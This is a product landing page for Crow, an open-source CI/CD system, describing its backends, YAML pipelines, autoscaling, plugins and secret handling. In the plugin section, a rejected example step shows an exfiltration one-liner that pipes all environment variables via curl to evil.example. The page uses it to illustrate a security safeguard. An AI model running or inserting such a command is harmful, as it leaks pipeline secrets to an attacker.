Open source, Apache-2.0CI/CD for every forge.
Crow runs your pipelines in Docker, Podman or Kubernetes, in throwaway Windows and macOS VMs, or on the host, for repositories on GitHub, GitLab, Forgejo, Gitea and Bitbucket.

Six backends. One pipeline format.
Run steps in containers, as Kubernetes pods, in a throwaway Windows or macOS VM, or straight on the host. Your YAML stays the same; agent labels decide where a workflow lands.
Docker
Container per step
The default. Every step runs in its own container, and Windows containers can opt into Hyper-V isolation for a kernel of their own.
Podman
Container per step
Daemonless containers through the native Podman SDK, rootful or rootless.
Kubernetes
Pod per step
Steps become pods in your cluster, with per-step resources, node selectors and tolerations. One agent drives the whole cluster.
Hyper-V
Windows VM per workflow
Every workflow gets a throwaway Windows VM, cloned from a golden image and deleted afterwards. Safe for untrusted pull requests.
Tart
macOS VM per workflow
Every workflow runs in a fresh macOS VM on Apple silicon, so Xcode builds start from a clean machine every time.
Local
Process on the host
Runs commands directly on the agent's machine, for builds that need its toolchain or hardware. On macOS it can run in a sandbox.
Pipelines are YAML in your repo.
Steps run in containers, depend on each other as a DAG, and fan out with matrix builds. Crow picks up every file in .crow/ as its own workflow.
when:
- event: [push, pull_request]
steps:
- name: test
image: golang:1.26
commands:
- go test ./...
- name: build
image: golang:1.26
commands:
- go build -o dist/app ./cmd/app
depends_on: [test]

Steps run the moment they are ready.
Declare what a step needs with depends_on and Crow builds the graph. Independent steps run in parallel, every step starts as soon as its last dependency finishes, and the UI draws the graph live.
steps:
- name: test
image: golang:1.26
commands: [go test ./...]
- name: build
image: golang:1.26
commands: [go build -o dist/app ./cmd/app]
depends_on: [lint, test]
- name: release
image: alpine:3.22
commands: [./release.sh]
depends_on: [build, docs]Big machines when you need them. None when you don't.
The Crow autoscaler watches the queue, starts agents on your cloud provider when work piles up, and deletes them once they have been idle. Keep a cheap static agent for everyday load and burst onto large machines only when a release build needs them.
A quiet day: the static agent handles everything.
- Minimum and maximum agent counts and workflows per agent
- Idle timeout matched to your provider's billing cycle
- Counts static agents first, and only scales for what they can't take
- Linux pools everywhere, Windows pools on AWS and Azure
Plugins do one job. Nobody can change which.
Plugins publish images, send notifications and deploy releases with your credentials. Because their entrypoint can't be overridden, a pipeline change can't turn a trusted plugin into a script that leaks those credentials.
steps:
- name: publish
image: codefloe.com/crow-plugins/docker-buildx
settings:
repo: acme/app
tags: latest
password:
from_secret: registry_tokensteps:
- name: publish
image: codefloe.com/crow-plugins/docker-buildx
entrypoint: [/bin/sh, -c, "env | curl -d @- evil.example"]
settings:
repo: acme/appUsing both entrypoint: and settings: at the same time is not allowed.
Fixed entrypoint
A plugin step can't set commands, entrypoint or environment. It runs exactly what its image runs, configured only through settings.
Secrets only where they belong
Limit a secret to specific plugin images, so a pull request can't hand it to a step that prints it.
Privileged by allowlist
Only images an admin allows may run privileged, matched by exact name, semver, version range or regex.
Any language
A plugin is a container that reads PLUGIN_ variables. Write one in Go, Python, shell or whatever your team knows.
Bring your secret store. Keep secrets out of logs.
Read secrets straight from Vault, OpenBao, Azure Key Vault or Infisical with the same from_secret keyword as Crow's own encrypted store. Whatever the source, Crow replaces every secret value with ******** in the log output.
Built-in store
Encrypted at rest with Google Tink
HashiCorp Vault, OpenBao
AppRole
Azure Key Vault
Service principal
Infisical
Universal Auth machine identity
steps:
- name: deploy
image: alpine:3.22
environment:
API_KEY:
from_secret: deploy_key
DB_PASSWORD:
from_secret:
integration: vault-prod
path: crow/app
key: db_password
commands:
- ./deploy.shNative secrets and secrets from an integration are masked the same way.
The details that make day two easier.
Every forge, one server
GitHub, GitLab, Forgejo, Gitea, Bitbucket and Bitbucket Datacenter, linked per user on a single instance.
Metrics built in
Build times, pipeline counts and the busiest repos per org and repo, with a chart builder for your own views.
High availability
Run several servers with leader election on Postgres or MySQL. Small setups stay on a single server with SQLite.
Restart what failed
Restart a single workflow instead of the whole pipeline, and cancel one leg of a matrix without stopping the rest.
Email notifications
Get told when a build fails, with per-pipeline overrides for who hears about what.
Log retention and cleanup
Each repository sets its own log retention, and a maintenance panel clears out old data and leftover Kubernetes resources.
- Build minutes
- Unlimited, on your hardware.
- Monthly quotas, then per-minute billing.
- Runners
- Any size, any architecture, on-prem or cloud.
- Fixed machine sizes and few architectures.
- Forges
- GitHub, GitLab, Forgejo, Gitea, Bitbucket, one server.
- Bound to the platform that hosts it.
- Secrets
- On your server or in your own secret store.
- Stored on someone else's platform.
- Scaling
- Cloud agents start only when the queue needs them.
- Pay for idle capacity or wait in line.
- Isolation
- Containers, pods or a fresh VM per workflow.
- Whatever the provider decides to run.
- License
- Apache-2.0, every feature included.
- Proprietary, features by plan.
Unlimited, on your hardware.
Monthly quotas, then per-minute billing.
Any size, any architecture, on-prem or cloud.
Fixed machine sizes and few architectures.
GitHub, GitLab, Forgejo, Gitea, Bitbucket, one server.
Bound to the platform that hosts it.
On your server or in your own secret store.
Stored on someone else's platform.
Cloud agents start only when the queue needs them.
Pay for idle capacity or wait in line.
Containers, pods or a fresh VM per workflow.
Whatever the provider decides to run.
Apache-2.0, every feature included.
Proprietary, features by plan.
Run your first pipeline in five minutes.
Start the server and an agent with Docker Compose, log in with your forge, and enable a repository.
